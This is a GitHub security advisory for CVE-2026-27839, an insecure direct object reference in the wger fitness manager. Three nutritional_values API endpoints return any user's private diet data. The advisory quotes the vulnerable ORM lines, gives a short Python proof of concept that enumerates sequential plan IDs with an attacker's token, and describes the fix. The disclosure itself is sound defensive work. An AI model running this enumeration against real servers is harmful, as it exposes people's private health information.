GitHub Advisoryadvisory · PyPI
GHSA-g8gc-6c4h-jg86 wger: IDOR in nutritional_values endpoints exposes private dietary data via direct ORM lookup
MEDIUM
Official page ↗
- Aliases
- CVE-2026-27839
- Ecosystem
- PyPI
- Packages
- wger
- Severity
- Moderate
- CVSS vector
- CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N
- Weaknesses
- CWE-639
- Reviewed
- 2026-02-26
Affected packages
• PyPI wger: <= 2.1 (no fix yet)
Description
Summary
Three `nutritional_values` action endpoints fetch objects via `Model.objects.get(pk=pk)` — a raw ORM call that bypasses the user-scoped queryset. Any authenticated user can read another user's private nutrition plan data, including caloric intake and full macro breakdown, by supplying an arbitrary PK.
Details
DRF detail actions do not automatically apply queryset filtering — the action must call `self.get_object()` to enforce object-level permissions. These three endpoints skip that and go directly to the ORM:
`wger/nutrition/api/views.py`:
```python
line 301 — NutritionPlanViewSet
plan = NutritionPlan.objects.get(pk=pk) # VULNERABLE — no user check
line 356 — MealViewSet
meal = Meal.objects.get(pk=pk) # VULNERABLE
line 403 — MealItemViewSet
meal_item = MealItem.objects.get(pk=pk) # VULNERABLE
```
The correct pattern used in the same file at `LogItemViewSet` (line 438):
```python
LogItem.objects.get(pk=pk, plan__user=self.request.user) # CORRECT
```
Affected endpoints:
```
GET /api/v2/nutritionplan/{pk}/nutritional_values/
GET /api/v2/meal/{pk}/nutritional_values/
GET /api/v2/mealitem/{pk}/nutritional_values/
```
PoC
```python
import requests
BASE = "http://localhost"
Attacker's token (any registered user)
headers = {"Authorization": "Token ATTACKER_TOKEN"}
Read victim's nutrition plan — enumerate pk starting from 1
for pk in range(1, 100):
r = requests.get(
f"{BASE}/api/v2/nutritionplan/{pk}/nutritional_values/",
headers=headers
)
if r.status_code == 200:
data = r.json()
print(f"Plan {pk}: {data}")
# Returns: energy (kcal), protein, carbohydrates, carbohydrates_sugar,
# fat, fat_saturated, fiber, sodium
```
No interaction from the victim required. Registration is open by default. PKs are sequential integers.
Impact
Any authenticated user can read other users' private dietary and health data:
• Daily caloric intake
• Protein, carbohydrate, fat, fiber, and sodium intake
• Full meal composition and ingredient quantities
This data is sensitive health information users expect to be private.
Fix: Replace direct ORM calls with `self.get_object()`, which applies the viewset's user-scoped queryset and object-level permissions automatically. Or add an explicit user filter: `NutritionPlan.objects.get(pk=pk, user=self.request.user)`.
Related
Alias · CVE (1)
- CVE-2026-27839 wger is a free, open-source workout and fitness manager. vulnerability
Weakness · CWE (1)
- CWE-639 Authorization Bypass Through User-Controlled Key weakness